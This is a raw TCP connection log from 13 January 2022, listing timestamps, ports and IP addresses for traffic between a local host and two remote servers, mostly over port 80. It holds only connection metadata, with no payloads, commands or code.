Jan 13, 2022 20:51:36.522669077 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.522712946 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.522773981 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.523247004 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.523328066 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.526469946 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:36.581191063 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:36.807372093 CET	49775	443	192.168.2.5	194.147.84.248
Jan 13, 2022 20:51:36.807478905 CET	443	49775	194.147.84.248	192.168.2.5
Jan 13, 2022 20:51:36.807552099 CET	49775	443	192.168.2.5	194.147.84.248
Jan 13, 2022 20:51:39.224268913 CET	49850	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:39.284931898 CET	80	49850	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:39.285058022 CET	49850	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:39.285151958 CET	49850	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:39.285181046 CET	49850	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:39.342474937 CET	80	49850	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:39.392086029 CET	80	49850	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:39.392210960 CET	49850	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:39.392329931 CET	49850	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:39.447143078 CET	80	49850	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:39.471059084 CET	49851	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:39.526561022 CET	80	49851	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:39.526792049 CET	49851	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:39.526915073 CET	49851	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:39.526935101 CET	49851	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:39.583936930 CET	80	49851	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:39.630959988 CET	80	49851	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:39.631088972 CET	49851	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:39.631187916 CET	49851	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:39.686604023 CET	80	49851	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.019567013 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.075634003 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.075946093 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.076138973 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.161789894 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.161880970 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.161945105 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.161998987 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.162003994 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.162059069 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.162107944 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.162112951 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.162220955 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.162980080 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.163033009 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.163079977 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.163127899 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.163131952 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.163225889 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.217542887 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.217588902 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.217617989 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.217660904 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.217693090 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.217732906 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.217757940 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.217762947 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.217807055 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.217818975 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.217896938 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.218347073 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.218394995 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.218482018 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.218524933 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.218555927 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.218621969 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.219331026 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.219363928 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.219397068 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.219429016 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.219456911 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.219485044 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.276190042 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.276226044 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.276288033 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.276407003 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.276442051 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.276488066 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.276771069 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.276918888 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.276956081 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.276988029 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.277054071 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.277103901 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.277285099 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.277317047 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.277364016 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.277384996 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.277395964 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.277462006 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.278301001 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.334943056 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.334969044 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.334992886 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.335019112 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.335061073 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.335105896 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.336019993 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.336046934 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.336072922 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.336097002 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.336136103 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.336162090 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.336183071 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.336263895 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.336286068 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.336306095 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.336329937 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.336347103 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.336385012 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.390584946 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.390681982 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.390734911 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.390929937 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.391007900 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.392420053 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.392474890 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.392518044 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.392539024 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.392554045 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.392589092 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.392611980 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.392663002 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.447288990 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.447393894 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.447439909 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.447453022 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.447498083 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.447546959 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.447549105 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.447596073 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.447635889 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.448082924 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.448183060 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.448867083 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.448915005 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.448959112 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.449021101 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.449192047 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.449213028 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.503582001 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.503647089 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.503667116 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.503707886 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.503743887 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.503928900 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.503998041 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.504026890 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.504039049 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.504080057 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.507503033 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.507544041 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.507580042 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.507611990 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.507680893 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.507725954 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.512458086 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.512608051 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.559453964 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.559514046 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.559540033 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.559571981 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.559711933 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.559906960 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.559942961 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.559987068 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.560044050 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.563144922 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.563189983 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.563216925 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.563241959 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.563266993 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.563294888 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.563359022 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.563390970 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.568094969 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.615597010 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.615648985 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.615684032 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.615715027 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.615792990 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.615864038 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.616203070 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.616245031 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.616343975 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.618705034 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.618736982 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.618774891 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.618802071 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.618880987 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.618896008 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.618915081 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.618932009 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.618978024 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.671525955 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.671545029 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.671798944 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.671988010 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.672022104 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.672045946 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.672066927 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.672122002 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.674025059 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.674149990 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.674191952 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.674216032 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.674240112 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.674288034 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.674324036 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.675272942 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.675308943 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.675429106 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.727735043 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.727796078 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.727822065 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.727845907 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.728040934 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.728115082 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.729877949 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.729931116 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.729955912 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.729981899 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.730015993 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.730046034 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.731858015 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.731900930 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.731933117 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.731955051 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.731980085 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.732047081 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.784257889 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.784296989 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.784322023 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.784349918 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.784475088 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.784483910 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.784498930 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.784549952 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.784555912 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.788913012 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.788938046 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.788954973 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.788978100 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.788999081 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.789082050 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.789119005 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.789659977 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.789684057 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.789756060 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.840985060 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.841022968 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.841065884 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.841108084 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.841133118 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.841177940 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.841186047 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.841217041 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.841280937 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.846090078 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.846199036 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.846261978 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.846299887 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.846318960 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.846376896 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.846389055 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.846441031 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.846515894 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.846522093 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.846582890 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.846688986 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.897237062 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.897408009 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.897455931 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.897506952 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.897557020 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.897613049 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.898008108 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.898057938 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.898139954 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.902879000 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.902961016 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.903002977 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.903040886 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.903083086 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.903122902 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.903357983 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.903398037 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.903438091 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.903455019 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.903480053 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.903537989 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.953212023 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.953284025 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.953330040 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.953376055 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.953521967 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.953527927 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.953578949 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.953588009 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.953630924 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.953656912 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.958822012 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.958890915 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.958935976 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.958981991 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.958983898 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.959037066 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.959152937 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.959203959 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.959247112 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:40.959253073 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.959300995 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:40.959352016 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.010059118 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.010108948 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.010145903 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.010247946 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.010332108 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.013986111 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.014038086 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.014065027 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.014134884 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.014923096 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.014955997 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.014977932 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.014981985 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.015005112 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.015057087 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.015552044 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.015588045 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.015619993 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.015629053 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.015644073 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.015675068 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.066030979 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.066097975 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.066159010 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.066193104 CET	80	49852	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:41.066332102 CET	49852	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:41.066411018 CET	49852	80	192.168.2.5	45.135.233.182
